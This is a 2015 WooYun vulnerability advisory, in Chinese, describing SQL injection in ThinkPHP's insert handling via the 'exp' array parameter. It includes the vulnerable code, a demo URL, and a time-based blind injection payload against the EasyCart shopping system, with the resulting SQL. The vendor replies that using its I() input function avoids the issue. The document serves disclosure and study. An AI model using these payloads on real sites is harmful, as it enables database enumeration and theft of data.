漏洞概要 关注数(43) 关注此漏洞
缺陷编号: WooYun-2015-115580
漏洞标题: thinkphp 某处缺陷可造成sql注射
相关厂商: ThinkPHP
漏洞作者: 魔鬼的步伐
提交时间: 2015-05-27 17:02
公开时间: 2015-08-25 17:29
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 15
漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2015-05-27: 细节已通知厂商并且等待厂商处理中
2015-05-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-07-21: 细节向核心白帽子及相关领域专家公开
2015-07-31: 细节向普通白帽子公开
2015-08-10: 细节向实习白帽子公开
2015-08-25: 细节向公众公开
简要描述:
thinkphp 某处缺陷可造成sql注射
详细说明:
下载最新的版本:
强调一下和ph大神的漏洞 信息不一样 地方和函数都不一样 他那个已经被修复了
写一个demo:
问题出在哪里:
先看看data函数:
没有做任何处理
然后数据流入到了add函数里面:
其他的都不用看 主要看insert函数:
最终VALUES ('.implode(',', $values).') 这样一来我们就可以无视gpc函数进行注入了
if(is_array($val) && 'exp' == $val[0]){
$fields[] = $this->parseKey($key);
$values[] = $val[1];
http://localhost:8081/phpthink/index.php?a=test&data[0]=exp&data[1]=1,2,3,4,5&data[2]=2
后台抓取sql语句为:
2015/1/29 12:56 INSERT INTO `think_data` (`data`) VALUES (1,2,3,4,5)
然后 我们在看一下 现实中的例子
我们那原创中国easycart
MemberIndex.class.php:
这里面的id正好符合要求:
url:
http://localhost/easycart/index.php/MemberIndex-doShippingAddress.html
postdata:
id[0]=exp&id[1]=if(ascii((substr((select user()),1,1)))=114,sleep(5),1)&Newsletter_id=1
抓取sql语句为:
INSERT INTO `ec_shippingaddress` (`id`) VALUES (if(ascii((substr((select user()),1,1)))=114,sleep(5),1))
这样一来就可以进行全站信息枚举
漏洞证明:
修复方案:
版权声明:转载请注明来源 魔鬼的步伐@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-08-25 17:29
厂商回复:
如果采用官方提供的I函数获取用户输入的参数的话 这个问题是不存在的
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值